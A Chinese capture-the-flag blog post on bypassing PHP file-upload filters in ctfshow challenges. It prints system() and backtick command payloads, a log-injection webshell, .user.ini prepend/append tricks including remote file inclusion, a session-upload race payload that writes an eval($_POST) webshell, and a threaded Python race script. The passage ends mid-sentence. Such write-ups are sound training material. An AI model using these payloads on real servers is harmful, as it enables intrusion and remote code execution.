{"id":288,"date":"2025-05-02T17:07:57","date_gmt":"2025-05-02T09:07:57","guid":{"rendered":"http:\/\/106.54.201.63:8080\/?p=288"},"modified":"2026-03-23T20:55:52","modified_gmt":"2026-03-23T12:55:52","slug":"111-2","status":"publish","type":"post","link":"http:\/\/charlottezhiend.cn:8080\/index.php\/2025\/05\/02\/111-2\/","title":{"rendered":"\u6587\u4ef6\u4e0a\u4f20\u603b\u7ed3"},"content":{"rendered":"\n

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\u8fc7\u6ee4\u4e86eval\u3001php\u3001[]\u3001{}<\/h4>\n\n\n\n
\u9009\u62e9\u6700\u57fa\u672c\u7684\u6d41\u7a0b\u8fdb\u884c\u67e5\u627e<\/p>\n\n\n\n
\u67e5\u770b\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6,\u6ca1\u6709\u7684\u8bdd\u67e5\u770b\u4e0a\u4e00\u7ea7\u76ee\u5f55\n<?=system('ls');?>\uff0c<?=system('ls ..\/');?>\n\u627e\u5230\u5b58\u653eflag\u7684\u6587\u4ef6\u7684\u4f4d\u7f6e\n<?=system('cat ..\/f*')?><\/code><\/pre>\n\n\n\n
\u5177\u4f53\u9898\u76ee\u53ef\u4ee5\u53c2\u8003ctfshow web\u5165\u95e8157<\/strong><\/p>\n\n\n\n
\u8fc7\u6ee4\u4e86php\u3001[]\u3001{}\u3001;\u3001()<\/h4>\n\n\n\n
\u770b\u4f3c\u65e0\u6cd5\u8fdb\u884cRCE\u4e86\uff0c\u5176\u5b9e\u8fd8\u6709\u4e00\u4e2a\u51fd\u6570\u53ef\u4ee5\u4f7f\u7528\uff0cshell_exec()
\u8be5\u51fd\u6570\u53ef\u4ee5\u7528“\u7684\u5f62\u5f0f\u8fdb\u884c\u66ff\u4ee3<\/strong><\/p>\n\n\n\n
\u57fa\u672c\u6d41\u7a0b\u4e0d\u8fc7\u591a\u7684\u8d58\u8ff0\u4e86\n<?`tac flag*`?><\/code><\/pre>\n\n\n\n
\u5177\u4f53\u9898\u76ee\u53ef\u4ee5\u53c2\u8003ctfshow web\u5165\u95e8158<\/strong><\/p>\n\n\n\n
\u8fc7\u6ee4\u4e86php\u3001[]\u3001{}\u3001;\u3001()\u3001“<\/h4>\n\n\n\n
\u53cd\u5f15\u53f7\u4e5f\u88ab\u8fc7\u6ee4\u4e86\uff0c\u8fc7\u6ee4\u4e86\u5f88\u591a\u5173\u952e\u7684\u5b57\u7b26\uff0c\u8fd9\u91cc\u53ef\u4ee5\u8003\u8651\u5229\u7528\uff0c\u5148\u65e5\u5fd7\u6ce8\u5165\u4e4b\u540e\u65e5\u5fd7\u5305\u542b<\/strong><\/p>\n\n\n\n
\u5173\u4e8e\u65e5\u5fd7\u6ce8\u5165\u7684\u56de\u987e
\u4e2d\u95f4\u4ef6\u4f8b\u5982 iis \u3001apache\u3001nginx \u8fd9\u4e9b web \u4e2d\u95f4\u4ef6\uff0c\u90fd\u4f1a\u8bb0\u5f55\u8bbf\u95ee\u65e5\u5fd7\uff0c\u5982\u679c\u8bbf\u95ee\u65e5\u5fd7\u4e2d\u6216\u9519\u8bef\u65e5\u5fd7\u4e2d\uff0c\u5b58\u5728\u6709 php \u4ee3\u7801\uff0c\u4e5f\u53ef\u4ee5\u5f15\u5165\u5230\u6587\u4ef6\u5305\u542b\u4e2d\u3002\u5982\u679c\u65e5\u5fd7\u6709 php \u6076\u610f\u4ee3\u7801\uff0c\u4e5f\u53ef\u5bfc\u81f4 getshell\u3002<\/strong><\/p>\n\n\n\n
\u9996\u5148\u6d4b\u8bd5\u5bb9\u5668\u7684\u4e2d\u95f4\u4ef6\u662f\u4ec0\u4e48\uff0c\u6d4b\u8bd5\u540e\u53d1\u73b0\u662fNginx\u4e2d\u95f4\u4ef6<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Nginx\u4e2d\u95f4\u4ef6\u7684\u65e5\u5fd7\u5b58\u653e\u7684\u4f4d\u7f6e\uff1a\/var\/log\/nginx\/access.log<\/strong><\/p>\n\n\n\n
\u57fa\u672c\u7684\u601d\u8def\u662f\u6b63\u5e38\u4e0a\u4f20.user.ini\u6587\u4ef6\uff0c\u5728.user.ini\u5199\u5165\u7684\u6587\u4ef6\uff08\u4f8b\u59821.png\uff09\u4e2d\u8fdb\u884c\u5305\u542b\u65e5\u5fd7<\/strong>
1.png\u6587\u4ef6\u4e2d\u5199\u5165
<?=include”\/var\/log\/nginx\/access.log”?><\/strong>
\u4f46\u662f\u6d4b\u8bd5\u4e4b\u540e\u53d1\u73b0\u8fc7\u6ee4\u4e86\u5173\u952e\u5b57log
\u56de\u987e\u4e00\u4e2a\u77e5\u8bc6\u70b9
.\u518dphp\u4e2d\u53ef\u4ee5\u8fdb\u884cstring\u5b57\u7b26\u4e32\u7684\u62fc\u63a5\uff0c\u56e0\u6b64\u53ef\u4ee5\u8fdb\u884c\u62fc\u63a5\u7ed5\u8fc7<\/strong>
<?=include”var\/lo”.”g\/nginx\/access.lo\u201c.\u201dg\u201c?><\/strong><\/p>\n\n\n\n
\u89c2\u5bdf\u65e5\u5fd7\u53d1\u73b0\uff0c\u65e5\u5fd7\u8bb0\u5f55\u4e86User-Agent\u5934\uff0c\u56e0\u6b64\u4e0a\u4f20.user.ini\u6587\u4ef6\u7684\u65f6\u5019\u6293\u5305\u4fee\u6539User-Agent\u5934\u8fdb\u884c\u4fee\u6539\u6ce8\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u518d\u7528\u8681\u5251\u8fde\u63a5\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n
\u5177\u4f53\u9898\u76ee\u53ef\u4ee5\u53c2\u8003ctfshow web\u5165\u95e8160<\/strong><\/p>\n\n\n\n
\u540e\u7aef\u8fdb\u884c\u4e86\u6587\u4ef6\u5934\u6821\u9a8c<\/h4>\n\n\n\n
\u6587\u4ef6\u5934\u68c0\u6d4b\u901a\u5e38\u6307\u7684\u662f\u5bf9\u6587\u4ef6\u7684\u5f00\u5934\u90e8\u5206\uff08\u5373\u6587\u4ef6\u5934\uff09\u8fdb\u884c\u68c0\u67e5\uff0c\u4ee5\u5224\u65ad\u6587\u4ef6\u7684\u7c7b\u578b\u3001\u683c\u5f0f\u662f\u5426\u5408\u6cd5\u6216\u662f\u5426\u88ab\u7be1\u6539\u3002<\/strong>
\u5176\u4e2d\u6700\u5e38\u7528\u7684\u56fe\u7247\u6587\u4ef6\u5934\u662fGIF89a<\/strong>\uff0c\u5728\u6587\u4ef6\u5185\u5bb9\u4e2d\u6dfb\u52a0\u8be5\u6587\u4ef6\u5934\u5373\u53ef\u7ed5\u8fc7\u68c0\u6d4b\u3002<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5177\u4f53\u9898\u76ee\u53ef\u4ee5\u53c2\u8003ctfshow web\u5165\u95e816<\/strong>1<\/p>\n\n\n\n
\u540e\u7aef\u6821\u9a8c\u4e86Content-Type<\/h4>\n\n\n\n
PNG\u56fe\u7247\u4e2dContent-type = image\/png
JPG\u56fe\u7247\u4e2dContent-type = image\/jpeg<\/strong><\/p>\n\n\n\n
\u6293\u5305\u540e\u6dfb\u52a0\u5373\u53ef<\/strong><\/p>\n\n\n\n
\u540e\u7aef.<\/code><\/strong>\u8fdb\u884c\u4e86\u8fc7\u6ee4<\/h4>\n\n\n\n
\u6b63\u5e38\u7684\u65b9\u6cd5\u90fd\u65e0\u6cd5\u8fdb\u884c\u7ed5\u8fc7
\u552f\u6709\u6761\u4ef6\u7ade\u4e89\u53ef\u4ee5\u7ed5\u8fc7\u6216\u8005\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\u53ef\u4ee5\u7ed5\u8fc7<\/strong><\/p>\n\n\n\n
\u6761\u4ef6\u7ade\u4e89<\/h5>\n\n\n\n
\u8fd9\u91cc\u4e3b\u8981\u63cf\u8ff0\u6761\u4ef6\u7ade\u4e89\u7684\u65b9\u6cd5\uff08session\u6761\u4ef6\u7ade\u4e89\uff09<\/strong>
\u7b80\u5355\u56de\u987e\u4e00\u4e0b\u6761\u4ef6\u7ade\u4e89\uff0c\u6587\u4ef6\u4e0a\u4f20\u7684\u6761\u4ef6\u7ade\u4e89\u6f0f\u6d1e\u662f\u6307\u653b\u51fb\u8005\u5229\u7528\u670d\u52a1\u5668\u5728\u9a8c\u8bc1\u6587\u4ef6\u548c\u4fdd\u5b58\u6587\u4ef6\u4e4b\u95f4\u5b58\u5728\u7684\u65f6\u95f4\u5dee\uff0c\u901a\u8fc7\u5e76\u53d1\u8bf7\u6c42\u6216\u5feb\u901f\u66ff\u6362\u65b9\u5f0f\u7ed5\u8fc7\u5b89\u5168\u68c0\u67e5\uff0c\u6210\u529f\u4e0a\u4f20\u5e76\u6267\u884c\u6076\u610f\u6587\u4ef6\uff08\u5982 webshell\uff09\uff0c\u5728\u670d\u52a1\u5668\u9a8c\u8bc1\u6587\u4ef6\u662f\u5426\u5408\u6cd5\u4e4b\u524d\uff0c\u8be5\u6587\u4ef6\u5df2\u7ecf\u88ab\u670d\u52a1\u5668\u4fdd\u5b58\u4e86\u4e0b\u6765\u5bfc\u81f4\u7ed5\u8fc7\u4e86\u5b89\u5168\u68c0<\/strong><\/p>\n\n\n\n
\u77e5\u8bc6\u70b9\u8865\u5145session\u6761\u4ef6\u7ade\u4e89<\/strong>
\u76ee\u6807\u7ad9\u70b9\u4f7f\u7528 PHP\uff0c\u5b58\u5728 session.upload_progress<\/code> \u529f\u80fd \u2014\u2014 \u8fd9\u662f\u4e00\u4e2a PHP \u63d0\u4f9b\u7684\u4f1a\u8bdd\u4e0a\u4f20\u8fdb\u5ea6\u529f\u80fd\uff0c\u4f1a\u628a\u4e0a\u4f20\u6587\u4ef6\u7684\u8fdb\u5ea6\u4fe1\u606f\u4e34\u65f6\u4fdd\u5b58\u5728 \/tmp\/sess_<PHPSESSID><\/code> \u4e2d\u3002<\/strong>
session.upload_progress\u4e2d\u4f1a\u77ed\u6682\u5b58\u653e\u4e0a\u4f20\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u5982\u679c\u6ca1\u6709\u88ab\u53ca\u65f6\u5220\u9664\u6389\u5e76\u4e14Cookie\u4e2d\u8bbe\u7f6e\u4e86PHPSESSID=text\uff0c\u5c31\u4f1a\u5bfc\u81f4\u4e0a\u4f20\u6587\u4ef6\u7684\u5185\u5bb9\u88ab\u50a8\u5b58\u5728\u4e86\/tmp\/sess_text\u4e2d\uff0c\u8bbf\u95ee\u8be5\u6587\u4ef6\u5c31\u4f1a\u6267\u884c\u6587\u4ef6\u4e2d\u7684\u4ee3\u7801\u3002<\/strong><\/p>\n\n\n\n
\u601d\u8def<\/strong>
\u5148\u4e0a\u4f20\u4e00\u4e2a.user.ini\u6587\u4ef6\u5199\u5165<\/strong>
auto_prepend_file=\/tmp\/sess_shell<\/p>\n\n\n\n
\u6784\u9020\u4e00\u4e2a\u5f00\u542f\u4e86session_upload.progress\u7684POST\u6587\u4ef6\u63d0\u4ea4<\/strong><\/p>\n\n\n\n
<!DOCTYPE html>\n<html>\n<body>\n<form action=\"https:\/\/42313e85-2096-4694-951d-407a4c5eeec4.challenge.ctf.show\/\" method=\"POST\" enctype=\"multipart\/form-data\">\n<input type=\"hidden\" name=\"PHP_SESSION_UPLOAD_PROGRESS\" value=\"<?php system('ls'); ?>\" \/>\n<input type=\"file\" name=\"file\" \/>\n<input type=\"submit\" value=\"submit\" \/>\n<\/form>\n<\/body>\n<\/html>\n<?php\nsession_start();\n?><\/code><\/pre>\n\n\n\n
\u968f\u4fbf\u4e0a\u4f20\u4e00\u4e2a\u6587\u4ef6\u8fdb\u884c\u6293\u5305\u4fee\u6539\uff0c\u5c06session_upload.progress\u4e2d\u7684\u5185\u5bb9\u66f4\u6539\u4e3a\uff0c\u6dfb\u52a0cookie\uff1aPHPSESSID=shell<\/strong><\/p>\n\n\n\n
------WebKitFormBoundaryRzriui8ZnuLFgHAh\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\n\n<?php fwrite(fopen('1.php','w'),'<?php eval($_POST[1]);?>');?>\n\u5f53\u7ade\u4e89\u6210\u529f\u5373\u4e3a\u4e0a\u4f20\u6210\u529f\u7684\u65f6\u5019\uff0c\u8bbf\u95ee1.php\u5373\u53ef\u521b\u5efa1.php\u5e76\u4e14\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e22\u5165intruder\u4e2d\u8fdb\u884c\u6301\u7eed\u4e0a\u4f20<\/strong>\uff0c\u540c\u65f6\u518d\u6293\u4e00\u4e2a\u5305\u6301\u7eed\u8bbf\u95ee\u4e0a\u4f20\u540e\u6587\u4ef6\u6240\u4fdd\u5b58\u7684\u4f4d\u7f6e\uff0c\u76f4\u5230\u51fa\u73b0\u4e0d\u540c\u957f\u5ea6\u7684\u5305\u8bf4\u660e\u4e0a\u4f20\u6210\u529f<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u65f6\u5019\u8bbf\u95ee1.php\u5c31\u521b\u5efa\u4e861.php\u5199\u5165\u4e86\u4e00\u53e5\u8bdd\u6728\u9a6c\u518d\u7528\u8681\u5251\u8fde\u63a5\u5373\u53ef\u3002<\/strong><\/p>\n\n\n\n
\u6761\u4ef6\u7ade\u4e89\u811a\u672c<\/h5>\n\n\n\n
\u5927\u4f6c\u63d0\u4f9b\u7684\u811a\u672c<\/strong><\/p>\n\n\n\n
import requests\nimport threading\nimport re\n \n# \u521b\u5efa\u4e00\u4e2a\u4f1a\u8bdd\u5bf9\u8c61\uff0c\u4fdd\u6301\u4f1a\u8bdd\u7684\u72b6\u6001\nsession = requests.session()\n \n# \u81ea\u62df\u7684PHPSESSID\uff0c\u7528\u4e8e\u4fdd\u6301\u4e0a\u4f20\u8fc7\u7a0b\u4e2d\u7684\u4f1a\u8bdd\u4e00\u81f4\u6027\nsess = 'zho'\n \n# \u76ee\u6807URL\nurl1 = \"http:\/\/34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show\/\"\nurl2 = \"http:\/\/34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show\/upload\"\n \n# POST\u8bf7\u6c42\u6570\u636e\uff0c\u5229\u7528PHP\u7684SESSION_UPLOAD_PROGRESS\u6f0f\u6d1e\uff0c\u6ce8\u5165\u6076\u610fPHP\u4ee3\u7801\ndata1 = {\n    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system(\"tac ..\/f*\");?>'  # \u4f7f\u7528system\u51fd\u6570\u6267\u884c\u547d\u4ee4\n}\n \n# \u8981\u4e0a\u4f20\u7684\u6587\u4ef6\u6570\u636e\nfile = {\n    'file': '111'  # \u6587\u4ef6\u540d\u53ef\u4ee5\u968f\u610f\u8bbe\u7f6e\n}\n \n# \u8bbe\u7f6e\u4f1a\u8bddcookie\ncookies = {\n    'PHPSESSID': sess  # \u4e0a\u4f20\u8fc7\u7a0b\u4e2d\u4f7f\u7528\u56fa\u5b9a\u7684PHPSESSID\n}\n \n# \u5b9a\u4e49\u4e0a\u4f20\u6587\u4ef6\u7684\u51fd\u6570\uff0c\u6301\u7eed\u53d1\u9001POST\u8bf7\u6c42\ndef upload_file():\n    while True:\n        session.post(url1, data=data1, files=file, cookies=cookies)\n \n# \u5b9a\u4e49\u8bfb\u53d6\u6587\u4ef6\u7684\u51fd\u6570\uff0c\u6301\u7eed\u68c0\u67e5\u8fd4\u56de\u7684\u9875\u9762\u5185\u5bb9\ndef check_flag():\n    while True:\n        response = session.get(url2)  # \u8bbf\u95ee\u76ee\u6807URL\uff0c\u68c0\u67e5\u662f\u5426\u80fd\u83b7\u53d6\u5230flag\n        if 'flag' in response.text:  # \u68c0\u67e5\u8fd4\u56de\u5185\u5bb9\u4e2d\u662f\u5426\u5305\u542bflag\n            # \u6b63\u5219\u5339\u914dflag\uff0c\u683c\u5f0f\u4e3actfshow{}\n            flag = re.search(r'ctfshow{.+}', response.text)\n            if flag:\n                print(flag.group())  # \u5982\u679c\u627e\u5230flag\uff0c\u6253\u5370\u5b83\n \n# \u521b\u5efa\u4e24\u4e2a\u7ebf\u7a0b\uff0c\u4e00\u4e2a\u4e0a\u4f20\u6587\u4ef6\uff0c\u4e00\u4e2a\u68c0\u67e5flag\nthreads = [\n    threading.Thread(target=upload_file),\n    threading.Thread(target=check_flag)\n]\n \n# \u542f\u52a8\u6240\u6709\u7ebf\u7a0b\nfor t in threads:\n    t.start()<\/code><\/pre>\n\n\n\n
\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b<\/h5>\n\n\n\n
\u672c\u5730\u642d\u5efaVPS\u5f00\u542f\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\uff0c\u8ba9\u5176\u5305\u542b\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0a\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u5c06VPS\u7684IP\u5730\u5740\u8fdb\u884c\u8f6c\u5316\u5c06\u5176\u8f6c\u4e3a\u957f\u5730\u5740\u4e0d\u5305\u542b.<\/strong><\/p>\n\n\n\n
#IP\u8f6c\u6362\u4e3a\u957f\u6574\u578b\ndef ip2long(ip):\n    ip_list=ip.split('.') #\u2fb8\u5148\u5148\u628aip\u7684\u7ec4\u6210\u4ee5'.'\u5207\u5272\u7136\u540e\u9010\u6b21\u8f6c\u6362\u6210\u5bf9\u5e94\u7684\u2f06\u8fdb\u5236\n    result = 0\n    for i in range(4): #0,1,2,3\n        result = result+int(ip_list[i])*256**(3-i)\n    return result\n\n#\u957f\u6574\u578b\u8f6c\u6362\u4e3aIP\ndef long2ip(long):\n    floor_list = []\n    num = long\n    for i in reversed(range(4)):\n        res = divmod(num,256**i)\n        floor_list.append(str(res[0]))\n        num = res[1]\n    return '.'.join(floor_list)\n\nprint(ip2long('127.0.0.1'))<\/code><\/pre>\n\n\n\n
\u66f4\u6539.user.ini\u6587\u4ef6\u4e3a
auto_append_file=http:\/\/xxxxxxxx\/<\/p>\n\n\n\n
\u5177\u4f53\u9898\u76ee\u53ef\u4ee5\u53c2\u8003ctfshow web\u5165\u95e8162\u3001163<\/strong><\/p>\n\n\n\n
\u56fe\u7247\u4e8c\u6b21\u6e32\u67d3\u7ed5\u8fc7<\/h3>\n\n\n\n
PNG\u56fe\u7247\u4e8c\u6b21\u6e32\u67d3<\/h4>\n\n\n\n
PNG\u56fe\u7247\u4e8c\u6b21\u6e32\u67d3\u6f0f\u6d1e\u77e5\u8bc6\u70b9\u8865\u5145<\/strong>

PNG\u6587\u4ef6\u683c\u5f0f\u7ed3\u6784<\/strong>
PNG\uff08Portable Network Graphics\uff09\u662f\u4e00\u79cd\u65e0\u635f\u538b\u7f29\u7684\u56fe\u50cf\u683c\u5f0f\uff0c\u5176\u6587\u4ef6\u7ed3\u6784\u662f\u4ee5\u5757\uff08chunk\uff09\u4e3a\u5355\u4f4d\u6765\u7ec4\u7ec7\u7684\u3002\u6bcf\u4e2a\u5757\u90fd\u6709\u7279\u5b9a\u7684\u529f\u80fd\uff0c\u6807\u51c6\u7684 PNG \u6587\u4ef6\u7531\u4ee5\u4e0b\u5173\u952e\u5757\u7ec4\u6210\uff1a
IHDR\uff08Image Header\uff09\uff1a\u56fe\u50cf\u5934\u90e8\u5757\uff0c\u5b9a\u4e49\u56fe\u50cf\u7684\u57fa\u672c\u5c5e\u6027\uff08\u5982\u5bbd\u5ea6\u3001\u9ad8\u5ea6\u3001\u989c\u8272\u6df1\u5ea6\u7b49\uff09\u3002
IDAT\uff08Image Data\uff09\uff1a\u56fe\u50cf\u6570\u636e\u5757\uff0c\u5305\u542b\u5b9e\u9645\u7684\u56fe\u50cf\u50cf\u7d20\u4fe1\u606f\u3002
IEND\uff08Image End\uff09\uff1a\u56fe\u50cf\u7ed3\u675f\u5757\uff0c\u8868\u793a\u56fe\u50cf\u6587\u4ef6\u7684\u7ed3\u675f\u3002
\u5176\u4ed6\u53ef\u9009\u7684\u5757\uff0c\u5982 tEXt\uff08\u7528\u4e8e\u5b58\u50a8\u6587\u672c\u6ce8\u91ca\uff09\uff0cpHYs\uff08\u5b58\u50a8\u56fe\u50cf\u7269\u7406\u7ef4\u5ea6\uff09\uff0c\u4ee5\u53ca PLTE\uff08\u8c03\u8272\u677f\uff09\u7b49\u3002
\u5728\u6b63\u5e38\u60c5\u51b5\u4e0b\uff0cPNG \u6587\u4ef6\u5fc5\u987b\u7b26\u5408\u4e00\u5b9a\u7684\u6807\u51c6\u548c\u683c\u5f0f\u8981\u6c42\uff0c\u5426\u5219\u5927\u591a\u6570 PNG \u89e3\u6790\u5668\u4f1a\u62d2\u7edd\u52a0\u8f7d\u6216\u6e32\u67d3\u8be5\u6587\u4ef6\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u60f3\u8981\u624b\u5de5\u63d2\u5165\u6076\u610f\u4ee3\u7801\u4e14\u4e0d\u635f\u574f\u56fe\u50cf\u6587\u4ef6\uff0c\u51e0\u4e4e\u4e0d\u53ef\u80fd
<\/p>\n\n\n\n
\u4e8c\u6b21\u6e32\u67d3\u6f0f\u6d1e\u7684\u4ea7\u751f\u539f\u56e0<\/strong><\/p>\n\n\n\n
\u4e0d\u540c\u89e3\u6790\u5668\u7684\u517c\u5bb9\u6027\u5dee\u5f02\uff1a\u4e0d\u540c\u7684\u8f6f\u4ef6\u3001\u6d4f\u89c8\u5668\u6216\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u7684 PNG \u89e3\u6790\u5e93\u5bf9\u56fe\u50cf\u7684\u89e3\u6790\u65b9\u5f0f\u6709\u6240\u4e0d\u540c\u3002\u4f8b\u5982\uff0c\u67d0\u4e9b\u89e3\u6790\u5668\u53ef\u80fd\u5bf9\u683c\u5f0f\u4e0d\u89c4\u8303\u7684 PNG \u6587\u4ef6\u5bbd\u5bb9\u5904\u7406\uff0c\u800c\u5176\u4ed6\u89e3\u6790\u5668\u5219\u4f1a\u4e25\u683c\u9075\u5faa\u89c4\u8303\u3002\u5f53\u540c\u4e00\u4e2a PNG \u6587\u4ef6\u88ab\u4e0d\u540c\u8f6f\u4ef6\u89e3\u6790\u65f6\uff0c\u53ef\u80fd\u4f1a\u51fa\u73b0\u4e0d\u540c\u7684\u6e32\u67d3\u7ed3\u679c\u3002
\u635f\u574f\u6587\u4ef6\u7684\u4e0d\u540c\u5904\u7406\u65b9\u5f0f\uff1a\u4e00\u4e9b PNG \u6587\u4ef6\u53ef\u80fd\u5728\u7ed3\u6784\u4e0a\u7ecf\u8fc7\u6545\u610f\u7834\u574f\uff08\u4f8b\u5982\u5757\u987a\u5e8f\u5f02\u5e38\u3001\u5757\u5927\u5c0f\u4e0d\u4e00\u81f4\u6216\u975e\u6cd5\u6570\u636e\u586b\u5145\uff09\u3002\u67d0\u4e9b\u89e3\u6790\u5668\u4f1a\u5ffd\u7565\u8fd9\u4e9b\u95ee\u9898\u7ee7\u7eed\u6e32\u67d3\u56fe\u50cf\uff0c\u800c\u5176\u4ed6\u89e3\u6790\u5668\u53ef\u80fd\u4f1a\u6309\u7167\u4e0d\u540c\u7684\u89c4\u5219\u5904\u7406\uff0c\u751a\u81f3\u653e\u5f03\u6e32\u67d3\u3002\u8fd9\u79cd\u5904\u7406\u65b9\u5f0f\u7684\u5dee\u5f02\u53ef\u80fd\u5bfc\u81f4\u540c\u4e00\u4e2a\u6587\u4ef6\u5728\u4e0d\u540c\u73af\u5883\u4e0b\u663e\u793a\u4e0d\u540c\u7684\u56fe\u50cf\u5185\u5bb9\u3002
\u5229\u7528\u975e\u6cd5\u5757\u6216\u591a\u4e49\u6027\uff1aPNG \u6587\u4ef6\u4e2d\u53ef\u80fd\u5305\u542b\u591a\u4e49\u6027\u5757\uff0c\u6216\u8005\u5305\u542b\u4e86\u65e0\u6548\u6570\u636e\u7684\u5757\u3002\u4e0d\u540c\u7684\u89e3\u6790\u5668\u5728\u5904\u7406\u8fd9\u4e9b\u6570\u636e\u65f6\u53ef\u80fd\u4f1a\u91c7\u53d6\u4e0d\u540c\u7684\u64cd\u4f5c\u8def\u5f84\u3002\u4f8b\u5982\uff0c\u4e00\u4e2a\u56fe\u50cf\u5934\u5757 (IHDR) \u7684\u9519\u8bef\u5b9a\u4e49\u53ef\u80fd\u4f1a\u5bfc\u81f4\u67d0\u4e9b\u89e3\u6790\u5668\u6309\u9519\u8bef\u7684\u683c\u5f0f\u6e32\u67d3\u56fe\u50cf\uff0c\u800c\u5176\u4ed6\u89e3\u6790\u5668\u53ef\u80fd\u80fd\u8bc6\u522b\u5e76\u6821\u6b63\u9519\u8bef\u3002<\/p>\n\n\n\n
PNG \u4e8c\u6b21\u6e32\u67d3\u6f0f\u6d1e\u7684\u5178\u578b\u5229\u7528\u65b9\u5f0f<\/strong><\/p>\n\n\n\n
\uff081\uff09\u7be1\u6539\u5757\u5185\u5bb9\u6216\u987a\u5e8f<\/strong>\uff1a \u653b\u51fb\u8005\u53ef\u80fd\u4f1a\u6545\u610f\u6539\u53d8 PNG \u6587\u4ef6\u4e2d\u7684\u5757\u5185\u5bb9\u6216\u5757\u987a\u5e8f\uff0c\u4f7f\u5f97\u4e0d\u540c\u7684\u89e3\u6790\u5668\u5448\u73b0\u4e0d\u540c\u7684\u7ed3\u679c\u3002\u6bd4\u5982\uff1a \u5728\u4e00\u4e2a\u6d4f\u89c8\u5668\u4e2d\uff0c\u56fe\u50cf\u53ef\u80fd\u88ab\u6b63\u5e38\u663e\u793a\uff1b \u800c\u5728\u53e6\u4e00\u4e2a\u6d4f\u89c8\u5668\u4e2d\uff0c\u56fe\u50cf\u53ef\u80fd\u663e\u793a\u9519\u8bef\u6216\u8005\u5e26\u6709\u6076\u610f\u5185\u5bb9\uff08\u4f8b\u5982\u5e7f\u544a\u6216\u653b\u51fb\u6027\u5185\u5bb9\uff09\u3002 \u8fd9\u79cd\u60c5\u51b5\u53ef\u80fd\u6d89\u53ca\u5757\u4e2d\u7684\u5143\u6570\u636e\u6216\u56fe\u50cf\u6570\u636e\u7684\u7be1\u6539\uff0c\u9020\u6210\u6e32\u67d3\u5dee\u5f02\u3002<\/p>\n\n\n\n
\uff082\uff09\u635f\u574f\u7684\u56fe\u50cf\u6570\u636e<\/strong>\uff1a \u901a\u8fc7\u635f\u574f\u6216\u64cd\u7eb5 IDAT \u5757\uff08\u56fe\u50cf\u6570\u636e\u5757\uff09\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u5f71\u54cd\u56fe\u50cf\u7684\u89e3\u538b\u548c\u663e\u793a\u6548\u679c\u3002\u4f8b\u5982\uff0cPNG \u56fe\u50cf\u7684\u56fe\u50cf\u6570\u636e\u91c7\u7528\u7684\u662f zlib \u538b\u7f29\u7b97\u6cd5\uff0c\u4e0d\u540c\u7684\u89e3\u538b\u5e93\u53ef\u80fd\u5bf9\u635f\u574f\u6570\u636e\u7684\u5bb9\u5fcd\u5ea6\u4e0d\u540c\uff0c\u5bfc\u81f4\u6e32\u67d3\u6548\u679c\u4e0d\u540c\u3002<\/p>\n\n\n\n
\uff083\uff09\u989c\u8272\u7ba1\u7406\u548c\u900f\u660e\u5ea6\u95ee\u9898<\/strong>\uff1a PNG \u652f\u6301\u4e30\u5bcc\u7684\u989c\u8272\u6df1\u5ea6\u548c\u900f\u660e\u5ea6\u901a\u9053\u3002\u6709\u65f6\uff0c\u901a\u8fc7\u6545\u610f\u64cd\u7eb5\u989c\u8272\u901a\u9053\u6570\u636e\uff08\u5982 alpha \u901a\u9053\uff09\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u5f97\u67d0\u4e9b\u6e32\u67d3\u5668\u663e\u793a\u4e0d\u540c\u7684\u900f\u660e\u5ea6\u6548\u679c\u3002\u4f8b\u5982\uff1a \u5728\u67d0\u4e9b\u6d4f\u89c8\u5668\u4e2d\uff0c\u56fe\u50cf\u53ef\u80fd\u4f1a\u663e\u793a\u4e3a\u900f\u660e\uff1b \u5728\u5176\u4ed6\u6d4f\u89c8\u5668\u4e2d\uff0c\u56fe\u50cf\u5219\u53ef\u80fd\u4e0d\u900f\u660e\uff0c\u751a\u81f3\u663e\u793a\u51fa\u653b\u51fb\u8005\u9690\u85cf\u7684\u6076\u610f\u56fe\u50cf\u3002<\/p>\n\n\n\n
\uff084\uff09\u6587\u672c\u6ce8\u91ca\u5757\uff08tEXt\uff09\u6ee5\u7528<\/strong>\uff1a \u67d0\u4e9b PNG \u6587\u4ef6\u53ef\u80fd\u5305\u542b\u6587\u672c\u6ce8\u91ca\u5757 